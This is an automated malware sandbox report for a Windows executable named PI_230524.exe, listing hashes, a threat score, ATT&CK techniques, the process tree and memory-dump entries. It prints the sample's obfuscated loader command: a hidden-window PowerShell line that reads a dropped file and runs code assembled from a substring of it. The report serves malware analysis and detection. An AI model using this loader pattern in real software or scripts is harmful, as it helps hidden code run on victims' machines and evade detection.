86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23-05-2024 15:45

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General

Target

PI_230524.exe
Size

531KB
MD5

fe3bcba4cdc4ae741ee54de500496669
SHA1

e27ac7c118efb35b85abf8dc4300a6291737dea2
SHA256

86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe
SHA512

d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8
SSDEEP

6144:+Y8i9d6ihOq761Mymf40IoBdLlNZ4DYvP+TV5lKiecmMlGvtClbUpEjoltWucv:8K6+L761MymflCYX+EixjlGHu8ltWuq

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1916 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4348 1916 WerFault.exe powershell.exe

pid	pid_target	process	target process
4348	1916	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid	process
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1916 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1916	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

PI_230524.exepowershell.exe

description	pid	process	target process
PID 756 wrote to memory of 1916	756	PI_230524.exe	powershell.exe
PID 756 wrote to memory of 1916	756	PI_230524.exe	powershell.exe
PID 756 wrote to memory of 1916	756	PI_230524.exe	powershell.exe
PID 1916 wrote to memory of 3276	1916	powershell.exe	cmd.exe
PID 1916 wrote to memory of 3276	1916	powershell.exe	cmd.exe
PID 1916 wrote to memory of 3276	1916	powershell.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\PI_230524.exe
"C:\Users\Admin\AppData\Local\Temp\PI_230524.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Treholdsskiftet=Get-Content 'C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre';$Skiameter=$Treholdsskiftet.SubString(55621,3);.$Skiameter($Treholdsskiftet)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
3⤵
PID:3276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 2588
3⤵
- Program crash
PID:4348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1916 -ip 1916
1⤵
PID:4392

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wev2arlj.jo1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre
Filesize
54KB

MD5
22252e2ecc5fad588b2a1855271240d7

SHA1
16e3f7b4f36b0804f372e9dc199748eced0be25c

SHA256
d82ec244a3f9172ac6eb88f87b46147b085b1ef3cd0b1787cb7029f5eeef74c0

SHA512
98ca2f227d5e8e32a098f8c98c432f1693617196ca3dfd81404ff247a8e8254c631cc291965b0a8fb724798c98bc4dc65963d23c81ebbbd7762acb391b4361a0

Download Submit
memory/1916-25-0x00000000059A0000-0x0000000005A06000-memory.dmp

Filesize
408KB

Download
memory/1916-36-0x0000000006050000-0x000000000609C000-memory.dmp

Filesize
304KB

Download
memory/1916-21-0x0000000073970000-0x0000000074120000-memory.dmp

Filesize
7.7MB

Download
memory/1916-22-0x0000000005180000-0x00000000051A2000-memory.dmp

Filesize
136KB

Download
memory/1916-29-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/1916-19-0x0000000073970000-0x0000000074120000-memory.dmp

Filesize
7.7MB

Download
memory/1916-17-0x000000007397E000-0x000000007397F000-memory.dmp

Filesize
4KB

Download
memory/1916-34-0x0000000005B80000-0x0000000005ED4000-memory.dmp

Filesize
3.3MB

Download
memory/1916-35-0x0000000006000000-0x000000000601E000-memory.dmp

Filesize
120KB

Download
memory/1916-20-0x0000000005370000-0x0000000005998000-memory.dmp

Filesize
6.2MB

Download
memory/1916-37-0x0000000006FD0000-0x0000000007066000-memory.dmp

Filesize
600KB

Download
memory/1916-38-0x0000000006570000-0x000000000658A000-memory.dmp

Filesize
104KB

Download
memory/1916-39-0x0000000006590000-0x00000000065B2000-memory.dmp

Filesize
136KB

Download
memory/1916-40-0x0000000007620000-0x0000000007BC4000-memory.dmp

Filesize
5.6MB

Download
memory/1916-18-0x0000000002A30000-0x0000000002A66000-memory.dmp

Filesize
216KB

Download
memory/1916-42-0x0000000008250000-0x00000000088CA000-memory.dmp

Filesize
6.5MB

Download
memory/1916-44-0x0000000073970000-0x0000000074120000-memory.dmp

Filesize
7.7MB

Download